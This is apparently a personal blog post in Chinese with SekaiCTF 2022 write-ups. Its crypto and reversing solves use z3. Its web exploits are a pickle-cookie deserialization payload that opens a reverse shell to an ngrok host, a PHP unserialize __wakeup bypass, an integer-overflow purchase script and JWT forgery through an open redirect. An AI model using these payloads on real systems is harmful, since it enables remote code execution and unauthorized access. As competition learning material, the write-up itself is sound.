SekaiCTF 2022 Writeups
Yet another CTF writeups ;)
Intro
這個假日自己參加了SekaiCTF,只解了幾題Web和幾題其他類型的送分題,不過還是稍微筆記一下一些值得紀錄的解題過程
Time Capsule (crypto)
Overview
題目的source code:
import time
import os
import random
from SECRET import flag
def encrypt_stage_one(message, key):
u = [s for s in sorted(zip(key, range(len(key))))]
res = ''
for i in u:
for j in range(i[1], len(message), len(key)):
res += message[j]
return res
def encrypt_stage_two(message):
now = str(time.time()).encode('utf-8')
now = now + "".join("0" for _ in range(len(now), 18)).encode('utf-8')
random.seed(now)
key = [random.randrange(256) for _ in message]
return [m ^ k for (m,k) in zip(message + now, key + [0x42]*len(now))]
# I am generating many random numbers here to make my message secure
rand_nums = []
while len(rand_nums) != 8:
tmp = int.from_bytes(os.urandom(1), "big")
if tmp not in rand_nums:
rand_nums.append(tmp)
for _ in range(42):
# Answer to the Ultimate Question of Life, the Universe, and Everything...
flag = encrypt_stage_one(flag, rand_nums)
# print(flag)
# Another layer of randomness based on time. Unbreakable.
res = encrypt_stage_two(flag.encode('utf-8'))
with open("flag.enc", "wb") as f:
f.write(bytes(res))
f.close()
可以看到題目會把flag依照隨機生成的rand_nums
的大小順序,在encrypt_stage_one()
中把flag的順序打亂,
接著把time.time()
當成random seed,生成長度為256的key去和打亂順序的flag在encrypt_stage_two()
中xor
Solution
首先可以發現encrypt_stage_two()
的now
是可以很輕鬆的復原的,因為我們可以從這裡知道:
return [m ^ k for (m,k) in zip(message + now, key + [0x42]*len(now))]
只需要把flag的最後18 bytes和b'\x42'*18
xor,就會得出encrypt時用的now
而既然我們知道了now
,就等於我們可以將題目給的flag.enc
中的內容恢復成encrypt_stage_two()
前的狀態
這時由於encrypt_stage_one()
的key長度很短,頂多也只有8!=40320種可能
所以我們可以直接窮舉key,再搭配z3去硬解就可以了(我自己是花了10分鐘找出key)
from z3 import *
import random
from itertools import permutations
from tqdm import tqdm
def encrypt_stage_one(message, key):
res = []
for i in key:
for j in range(i, len(message), len(key)):
res += [message[j]]
return res
def decrypt_stage_two(message, now):
random.seed(now)
key = [random.randrange(256) for _ in message]
return [m ^ k for (m, k) in zip(message, key + [0x42] * len(now))][:-18]
def main() -> None:
with open("flag.enc", "rb") as f:
flag_enc = f.read()
now = bytes([0x42 ^ x for x in flag_enc[-18:]])
flag_enc = bytes(decrypt_stage_two(flag_enc, now))
print(flag_enc)
keys = list(permutations(range(8)))
flag_init = [BitVec(f"flag_{i}", 8) for i in range(len(flag_enc))]
for k in tqdm(keys[33000:]):
s = Solver()
flag = flag_init.copy()
for i, c in enumerate(b"SEKAI{"):
s.add(flag[i] == c)
s.add(flag[-1] == ord("}"))
for _ in range(42):
flag = encrypt_stage_one(flag, k)
for i, c in enumerate(flag_enc):
s.add(flag[i] == c)
if s.check() == sat:
print("Found:")
print(bytes([s.model()[x].as_long() for x in flag_init]))
# 82%|██████████████████████████████████████████████████████████████████████████████████████████████████████▌ | 33082/40320 [10:24<02:22, 50.83it/s]
# Found:
# b'SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}'
break
main()
flag: SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}
Matrix Lab 1 (reverse)
Overview
這題給了一個java的class
檔,丟進idea裡後decompile一下:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import java.util.Scanner;
public class Sekai {
private static int length = (int)Math.pow(2.0D, 3.0D) - 2;
public Sekai() {
}
public static void main(String[] var0) {
Scanner var1 = new Scanner(System.in);
System.out.print("Enter the flag: ");
String var2 = var1.next();
if (var2.length() != 43) {
System.out.println("Oops, wrong flag!");
} else {
String var3 = var2.substring(0, length);
String var4 = var2.substring(length, var2.length() - 1);
String var5 = var2.substring(var2.length() - 1);
if (var3.equals("SEKAI{") && var5.equals("}")) {
assert var4.length() == length * length;
if (solve(var4)) {
System.out.println("Congratulations, you got the flag!");
} else {
System.out.println("Oops, wrong flag!");
}
} else {
System.out.println("Oops, wrong flag!");
}
}
}
public static String encrypt(char[] var0, int var1) {
char[] var2 = new char[length * 2];
int var3 = length - 1;
int var4 = length;
int var5;
for(var5 = 0; var5 < length * 2; ++var5) {
var2[var5] = var0[var3--];
var2[var5 + 1] = var0[var4++];
++var5;
}
for(var5 = 0; var5 < length * 2; ++var5) {
var2[var5] ^= (char)var1;
}
return String.valueOf(var2);
}
public static char[] getArray(char[][] var0, int var1, int var2) {
char[] var3 = new char[length * 2];
int var4 = 0;
int var5;
for(var5 = 0; var5 < length; ++var5) {
var3[var4] = var0[var1][var5];
++var4;
}
for(var5 = 0; var5 < length; ++var5) {
var3[var4] = var0[var2][length - 1 - var5];
++var4;
}
return var3;
}
public static char[][] transform(char[] var0, int var1) {
char[][] var2 = new char[var1][var1];
for(int var3 = 0; var3 < var1 * var1; ++var3) {
var2[var3 / var1][var3 % var1] = var0[var3];
}
return var2;
}
public static boolean solve(String var0) {
char[][] var1 = transform(var0.toCharArray(), length);
for(int var2 = 0; var2 <= length / 2; ++var2) {
for(int var3 = 0; var3 < length - 2 * var2 - 1; ++var3) {
char var4 = var1[var2][var2 + var3];
var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2];
var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][length - 1 - var2 - var3];
var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][length - 1 - var2];
var1[var2 + var3][length - 1 - var2] = var4;
}
}
String var10001 = encrypt(getArray(var1, 0, 5), 2);
return "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".equals(var10001 + encrypt(getArray(var1, 1, 4), 1) + encrypt(getArray(var1, 2, 3), 0));
}
}
Solution
這題蠻有趣的,可以看的出來整個input的驗證過程都只是把array裡的東西移來移去,頂多做個xor而已,所以對z3很友善
於是我們只需要把這些java的code用Python寫出來,剩下交給z3去解就行了
而這部分Github Copilot幫了我大忙,我們只需要把java的function code當成註解,並稍微引導一下,
有時只需要改個一兩行,甚至完全不用自己動手,Github Copilot就會自動幫你生成Python版本的code了!
最後我的code長這樣:
from z3 import *
length = 6
"""
public static String encrypt(char[] var0, int var1) {
char[] var2 = new char[length * 2];
int var3 = length - 1;
int var4 = length;
int var5;
for(var5 = 0; var5 < length * 2; ++var5) {
var2[var5] = var0[var3--];
var2[var5 + 1] = var0[var4++];
++var5;
}
for(var5 = 0; var5 < length * 2; ++var5) {
var2[var5] ^= (char)var1;
}
return String.valueOf(var2);
}
"""
def encrypt(var0, var1):
var2 = [0] * (length * 2)
var3 = length - 1
var4 = length
for var5 in range(0, length * 2, 2):
var2[var5] = var0[var3]
var3 -= 1
var2[var5 + 1] = var0[var4]
var4 += 1
for var5 in range(length * 2):
var2[var5] ^= var1
return var2
"""
public static char[] getArray(char[][] var0, int var1, int var2) {
char[] var3 = new char[length * 2];
int var4 = 0;
int var5;
for(var5 = 0; var5 < length; ++var5) {
var3[var4] = var0[var1][var5];
++var4;
}
for(var5 = 0; var5 < length; ++var5) {
var3[var4] = var0[var2][length - 1 - var5];
++var4;
}
return var3;
}
"""
def getArray(var0: list, var1: int, var2: int) -> list:
var3 = [0] * (length * 2)
var4 = 0
for var5 in range(length):
var3[var4] = var0[var1][var5]
var4 += 1
for var5 in range(length):
var3[var4] = var0[var2][length - 1 - var5]
var4 += 1
return var3
"""
public static char[][] transform(char[] var0, int var1) {
char[][] var2 = new char[var1][var1];
for(int var3 = 0; var3 < var1 * var1; ++var3) {
var2[var3 / var1][var3 % var1] = var0[var3];
}
return var2;
}
"""
def transform(var0, var1: int):
var2 = [[0] * var1 for _ in range(var1)]
for var3 in range(var1 * var1):
var2[var3 // var1][var3 % var1] = var0[var3]
return var2
"""
public static boolean solve(String var0) {
char[][] var1 = transform(var0.toCharArray(), length);
for(int var2 = 0; var2 <= length / 2; ++var2) {
for(int var3 = 0; var3 < length - 2 * var2 - 1; ++var3) {
char var4 = var1[var2][var2 + var3];
var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2];
var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][length - 1 - var2 - var3];
var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][length - 1 - var2];
var1[var2 + var3][length - 1 - var2] = var4;
}
}
String var10001 = encrypt(getArray(var1, 0, 5), 2);
return "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".equals(var10001 + encrypt(getArray(var1, 1, 4), 1) + encrypt(getArray(var1, 2, 3), 0));
}
"""
def solve(solver, var0: list) -> None:
var1 = transform(var0, length)
for var2 in range(length // 2 + 1):
for var3 in range(length - 2 * var2 - 1):
var4 = var1[var2][var2 + var3]
var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2]
var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][
length - 1 - var2 - var3
]
var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][
length - 1 - var2
]
var1[var2 + var3][length - 1 - var2] = var4
var10001 = encrypt(getArray(var1, 0, 5), 2)
var10001 += encrypt(getArray(var1, 1, 4), 1)
var10001 += encrypt(getArray(var1, 2, 3), 0)
for i, c in enumerate(b"oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2"):
solver.add(var10001[i] == c)
def main() -> None:
s = Solver()
flag = [BitVec(f"flag[{i}]", 8) for i in range(43)]
flag_init = flag.copy()
for i, c in enumerate(b"SEKAI{"):
s.add(flag[i] == c)
s.add(flag[-1] == ord("}"))
solve(s, flag[6:-1])
assert s.check() == sat
print(bytes([s.model()[i].as_long() for i in flag_init]).decode()) # SEKAI{m4tr1x_d3cryP710N_15_Fun_M4T3_@2D2D!}
if __name__ == "__main__":
main()
flag: SEKAI{m4tr1x_d3cryP710N_15_Fun_M4T3_@2D2D!}
Bottle Poem (web)
Overview
這題是半blackbox的web,但漏洞很明顯,可以通過他page的html觀察到他似乎可以讀任意文件:
<ul>
<li><a class="text-blue-300 underline hover:no-underline" href="/show?id=spring.txt">Spring</a></li>
<li><a class="text-blue-300 underline hover:no-underline" href="/show?id=Auguries_of_Innocence.txt">Auguries_of_Innocence</a></li>
<li><a class="text-blue-300 underline hover:no-underline" href="/show?id=The_tiger.txt">The_tiger</a></li>
</ul>
嘗試讀/proc/self/cmdline
:
00000000: 7079 7468 6f6e 3300 2d75 002f 6170 702f python3.-u./app/
00000010: 6170 702e 7079 00 app.py.
得知是一個Python的app,讀一下/app/app.py
的內容:
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re
@route("/")
def home():
return template("index")
@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile
@error(404)
def error404(error):
return template("error")
@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
可以觀察到這題的server是用一個叫做bottle
的東西寫的,
而且通過from config.secret import sekai
可以得知在/app/config/secret.py
裡面還放了給session的secret key
/app/config/secret.py
:
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
Solution
這題我原本以為只需要透過這個key自己按照bottle
的api簽一個admin的session即可拿到flag,但發現拿到admin完全沒用
後來追進去request.cookie
的code裡看了一下實做的方式:
def get_cookie(self, key, default=None, secret=None):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret) # (key, value) tuple or None
return dec[1] if dec and dec[0] == key else default
return value or default
可以觀察到get_cookie()
會去呼叫一個叫cookie_decode
的function,再追進去:
def cookie_decode(data, key):
''' Verify and decode an encoded string. Return an object or None.'''
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
哇,cookie_decode()
竟然直接調用了pickle.loads
去deserialize cookie!
這時我們再來看一下response.set_cookie()
是怎麼實做的:
... # bla bla bla
if not self._cookies:
self._cookies = SimpleCookie()
if secret:
value = touni(cookie_encode((name, value), secret))
... # bla bla bla
再看一下cooke_encode()
在做什麼:
def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
Bingo,他會去pickle.dumps
data的部分!
接下來就是用老梗的方法弄出可以rce的東西塞進cookie就行了
solve.py
:
from bottle import cookie_encode
import requests
from urllib.parse import quote
URL = "http://bottle-poem.ctf.sekai.team"
cmd = '''
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("2.tcp.ngrok.io",12553));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
'''.strip()
class RCE:
def __reduce__(self):
return (__import__("os").system, (cmd,))
def main() -> None:
s = requests.Session()
r = s.get(URL + "/show", params={
"id": "/app/config/secret.py"
})
secret = r.text.split('"')[1]
# print(secret)
payload = cookie_encode(("name", {"name": RCE()}), secret)
print(payload)
s.get(URL + "/sign", cookies={
"name": payload.decode()
})
# $ ncat -vl 1337
# Ncat: Version 7.91 ( https://nmap.org/ncat )
# Ncat: Listening on :::1337
# Ncat: Listening on 0.0.0.0:1337
# Ncat: Connection from 127.0.0.1.
# Ncat: Connection from 127.0.0.1:52571.
# $ /flag
# /flag
# SEKAI{W3lcome_To_Our_Bottle}
main()
寫reverse shell回來:
$ ncat -vl 1337
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:52571.
$ /flag
/flag
SEKAI{W3lcome_To_Our_Bottle}
flag: SEKAI{W3lcome_To_Our_Bottle}
Sekai Game Start (web)
Overview
題目的php version是7.4.5,source code:
<?php
include('./flag.php');
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;
}
}
if(isset($_GET['sekai_game.run'])){
unserialize($_GET['sekai_game.run']);
}else{
highlight_file(__FILE__);
}
?>
可以看到server會去unserialize$_GET['sekai_game.run']
裡的東西
若我們能繞過__wakeup
直接讓反序列出來的object直接__destruct
的話,就能拿到flag
Solution
這題有兩關,第一關是/?sekai_game.run=xxxxx
這種request,sekai_game.run=xxxx
會被parse成$_GET['sekai_game_run']=xxxx
所以是沒辦法順利調用unserialize的
這裡卡了一陣子,後來翻了一下source code:
main/php_variables.c#L105-L115:
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
if (*p == ' ' || *p == '.') {
*p='_';
} else if (*p == '[') {
is_array = 1;
ip = p;
*p = 0;
break;
}
}
可以發現php在parse的時候會先把所有的空格
,.
都replace成_
,但可以注意到因為php也支援傳入array型別的變數
所以遇到[
後就會直接break掉
接著若is_array==1
,且無法順利parse出array時,會執行:
main/php_variables.c#L191-L195
if (!ip) {
/* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
*(index_s - 1) = '_';
index_len = 0;
這個動作會將[
也替代成_
,但並沒有繼續確認[
後是否有空格
,.
!
所以若我們輸入sekai[game.run
,php會parse成sekai_game.run
!
我們也就可以順利將我們的payload反序列了!
Note: 這個部分在php8已經不會發生了,因為在
*(index_s - 1) = '_';
會再檢查一次是否有不符合的字元:main/php_variables.c#L196-L201
*(index_s - 1) = '_'; /* PHP variables cannot contain ' ', '.', '[' in their names, so we replace the characters with a '_' */ for (p = index_s; *p; p++) { if (*p == ' ' || *p == '.' || *p == '[') { *p = '_'; }
接下來第二關是繞過__wakeup
的部分,但這裡我原理不太懂,我是在bugs.php.net/bug.php?id=81151找到的:
當使用C
這個類型去反序列的時候,如果不是Serializable,就會造成錯誤,而且不會呼叫__wakeup
所以最後的payload:
$ curl -g --path-as-is 'http://sekai-game-start.ctf.sekai.team/?sekai[game.run=C:10:%22Sekai_Game%22:0:{}'
<br />
<b>Warning</b>: Class Sekai_Game has no unserializer in <b>/var/www/html/index.php</b> on line <b>15</b><br />
Sekai Game Start Here is your flag SEKAI{W3lcome_T0_Our_universe}
flag: SEKAI{W3lcome_T0_Our_universe}
Crab Commodities (web)
Overview
這題是用rust寫的,code有點多,完整的code就不貼上來了,簡單講幾個重點:
題目是一個用rust寫的商城,可以買東西,賣東西,或是升級使用者的帳戶,
其中/upgrade
的route會提供你買flag的功能和升級帳戶的功能:
#[post("/upgrade")]
async fn upgrade(user: User, body: web::Form<ItemPayload>) -> Json<APIResult> {
if user.game.is_over() {
return web::Json(APIResult {
success: false,
message: "The game is over",
});
}
if body.quantity <= 0 || body.quantity > 32767 {
return web::Json(APIResult {
success: false,
message: "Invalid quantity",
});
}
// upgrades
if let Some(item) = crate::game::UPGRADES.iter().find(|u| u.name == body.name) {
let mut price = item.price;
// quantity matters for donate and storage
if item.name == "Donate to charity" || item.name == "Storage Upgrade" {
price *= body.quantity;
}
// upgrade checks
if user.game.has_upgrade("Loan") && item.name == "Loan" {
return web::Json(APIResult {
success: false,
message: "You can't take out another loan",
});
}
if user.game.has_upgrade("More Commodities") && item.name == "More Commodities" {
return web::Json(APIResult {
success: false,
message: "You already have access to all commodities",
});
}
if user.game.money.get() < price as i64 {
return web::Json(APIResult {
success: false,
message: "Not enough money",
});
}
let mut upgrades = user.game.upgrades.get();
upgrades.extend(vec![item].repeat(body.quantity as usize));
if upgrades.len() > 32767 {
return web::Json(APIResult {
success: false,
message: "Too many upgrades purchased",
});
}
user.game.upgrades.set(upgrades);
if price != 0 {
user.game.money.set(user.game.money.get() - price as i64);
}
if item.name == "Storage Upgrade" {
return web::Json(APIResult {
success: true,
message: "Enjoy your new storage",
});
} else if item.name == "More Commodities" {
let mut market = user.game.market.get();
market.extend(crate::game::EXTENDED_ITEMS);
user.game.market.set(market);
user.game.market.set(user.game.randomize_market());
return web::Json(APIResult {
success: true,
message: "Enjoy your new selection",
});
} else if item.name == "Flag" {
return web::Json(APIResult {
success: true,
message: "Hacker...",
});
} else if item.name == "Loan" {
user.game.debt.set(user.game.debt.get() - item.price as i64); // since item.price is negative for loan
return web::Json(APIResult {
success: true,
message: "Make sure to pay it back...",
});
} else if item.name == "Donate to charity" {
return web::Json(APIResult {
success: true,
message: "What a nice gesture :)",
});
} else if item.name == "Sleep" {
user.game.day.set(user.game.day.get() + 1);
user.game.market.set(user.game.randomize_market());
return web::Json(APIResult {
success: true,
message: "Have a nice rest...",
});
}
}
web::Json(APIResult {
success: false,
message: "No upgrade found with that name",
})
}
但flag的價格很貴,用正常手段是達不到的:
// list of upgrades and items
pub const UPGRADES: &[Upgrade] = &[
Upgrade {
name: "Storage Upgrade",
price: 100_000,
color: "primary",
},
Upgrade {
name: "More Commodities",
price: 100_000,
color: "warning",
},
Upgrade {
name: "Flag",
price: 2_000_000_000,
color: "success",
},
Upgrade {
name: "Loan",
price: -37_500,
color: "danger",
},
Upgrade {
name: "Donate to charity",
price: 1,
color: "info",
},
Upgrade {
name: "Sleep",
price: 0,
color: "secondary",
},
];
flag的價格為: 2_000_000_000
Solution
自從我第一次在web看到rust的題目,就一直在想integer overflow應該有一天會出現,結果這次就出現了:
由於在這裡:
// quantity matters for donate and storage
if item.name == "Donate to charity" || item.name == "Storage Upgrade" {
price *= body.quantity;
}
沒有檢查quantity
的量就直接做乘法,而price只是32 bits的sign int,所以很可能會overflow
剛好Storage Upgrade
很貴,需要100_000
,所以只需要一次買大約20000
個,
即可透過overflow,達到購買負數價格的商品,拿到超過2_000_000_000
的錢
接著買flag就可以了,solve.py
:
import requests
import secrets
import ctypes
import re
URL = "http://crab-commodities.ctf.sekai.team"
def main() -> None:
s = requests.Session()
s.post(
URL + "/auth/register",
data={
"username": secrets.token_hex(16),
"password": secrets.token_hex(16),
},
)
quantity = 22000
price = 100_000
assert -ctypes.c_int32(quantity * price).value > 2_000_000_000
s.post(
URL + "/api/upgrade",
data={
"quantity": quantity,
"name": "Storage Upgrade",
},
)
s.post(
URL + "/api/upgrade",
data={
"quantity": "1",
"name": "Flag",
},
)
r = s.get(URL + "/game")
flag = re.search(r"SEKAI\{.*\}", r.text).group(0)
print(flag) # SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}
main()
flag: SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}
這題其實蠻簡單的,純粹code review而已,但不知道為什麼解的人不多,可能是被rust嚇到了XD
issuer (web)
Overview
api.py
主要負責auth的邏輯,若auth成功,拜訪/api/flag
即可拿到flag:
from flask import Blueprint, request
from urllib.parse import urlparse
import os
import jwt
import requests
api = Blueprint("api", __name__, url_prefix="/api")
valid_issuer_domain = os.getenv("HOST")
valid_algo = "RS256"
def get_public_key_url(token):
is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain
header = jwt.get_unverified_header(token)
if "issuer" not in header:
raise Exception("issuer not found in JWT header")
token_issuer = header["issuer"]
if not is_valid_issuer(token_issuer):
raise Exception(
"Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
)
)
pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
return pubkey_url
def get_public_key(url):
resp = requests.get(url)
resp = resp.json()
key = resp["keys"][0]["x5c"][0]
return key
def has_valid_alg(token):
header = jwt.get_unverified_header(token)
algo = header["alg"]
return algo == valid_algo
def authorize_request(token):
pubkey_url = get_public_key_url(token)
if has_valid_alg(token) is False:
raise Exception("Invalid algorithm. Only {valid_algo} allowed.".format(valid_algo=valid_algo))
pubkey = get_public_key(pubkey_url)
pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=pubkey).encode()
decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
if "user" not in decoded_token:
raise Exception("user claim missing")
if decoded_token["user"] == "admin":
return True
return False
@api.before_request
def authorize():
if "Authorization" not in request.headers:
raise Exception("No Authorization header found")
authz_header = request.headers["Authorization"].split(" ")
if len(authz_header) < 2:
raise Exception("Bearer token not found")
token = authz_header[1]
if not authorize_request(token):
return "Authorization failed"
f = open("flag.txt")
secret_flag = f.read()
f.close()
@api.route("/flag")
def flag():
return secret_flag
此外可以觀察到,這題使用了RS256的jwt,且在get_public_key_url()
中會去對header中的issuer
欄位裡的url發起HTTP request,去get RSA的public key用於deocde jwt
所以只要我們能夠控制issuer
,即可讓server用我們自己的public key去decode我們用自己的private key創造的jwt
而除了api.py
以外,server的其他部分寫在app.py
中:
from flask import Flask, request, session, url_for, redirect, render_template, Response
import secrets
from api import api
from werkzeug.exceptions import HTTPException
app = Flask(__name__, template_folder=".")
app.secret_key = secrets.token_bytes()
jwks_file = open("jwks.json", "r")
jwks_contents = jwks_file.read()
jwks_file.close()
app.register_blueprint(api)
@app.after_request
def after_request_callback(response: Response):
# your code here
print(response.__dict__)
if response.headers["Content-Type"].startswith("text/html"):
updated = render_template("template.html", status=response.status_code, message=response.response[0].decode())
response.set_data(updated)
return response
@app.errorhandler(Exception)
def handle_exception(e):
if isinstance(e, HTTPException):
return e
return str(e), 500
@app.route("/", defaults={"path": ""})
@app.route("/<path:path>")
def home(path):
return "OK", 200
return render_template("template.html", status=200, message="OK")
@app.route("/login", methods=['GET', 'POST'])
def login():
return "Not Implemented", 501
return render_template("template.html", status=501, message="Not Implemented"), 501
@app.route("/.well-known/jwks.json")
def jwks():
return jwks_contents, 200, {'Content-Type': 'application/json'}
@app.route("/logout")
def logout():
session.clear()
redirect_uri = request.args.get('redirect', url_for('home'))
return redirect(redirect_uri)
Solution
這題我卡了很久,原本以為是要想辦法讓urlparse
的結果的netloc和requests.get
使用的netloc不同去SSRF
但後來發現根本不需要(似乎也不可能?),因為/logout
有個open redirect,
issuer
直接放http://localhost:8080/logout?redirect=WEBHOOK_URL
,redirect到自己的server就行了…
solve.py
:
import jwt
from flask import Flask
import requests
from Crypto.PublicKey import RSA
app = Flask(__name__)
URL = "http://issues-3m7gwj1d.ctf.sekai.team"
WEBHOOK_URL = "https://your-webhook-url"
# new a RSA key
key = RSA.generate(2048)
# get the x5c for the public key
public_key = key.publickey().exportKey("PEM").decode()
x5c = "\n".join(public_key.splitlines()[1:-1])
assert (
"-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=x5c)
== public_key
)
private_key = key.exportKey("PEM")
@app.route("/")
def main():
data = {"user": "admin"}
issuer = (
f"http://localhost:8080/logout?redirect={WEBHOOK_URL}"
)
token = jwt.encode(data, private_key, algorithm="RS256", headers={"issuer": issuer})
# jwt.decode(token, public_key, algorithms=["RS256"])
print(f"Token: {token}")
s = requests.Session()
s.headers.update({"Authorization": "Bearer " + token})
r = s.get(URL + "/api/flag")
return r.text
@app.route("/.well-known/jwks.json")
def jwks():
return (
{"keys": [{"alg": "RS256", "x5c": [x5c]}]},
200,
{"Content-Type": "application/json"},
)
app.run(host="127.0.0.1", port=5000)
# Goto http://your-webhook-url to get the flag
# Flag: SEKAI{v4l1d4t3_y0ur_i55u3r_plz}
flag: SEKAI{v4l1d4t3_y0ur_i55u3r_plz}
Summary
這次學到了一些php的新招,對z3和jwt也更加熟練了一點
遺憾的是這次Strellic出的兩題XSS難題我一題都沒解出來,希望有招一日我能成功ak掉Strellic的web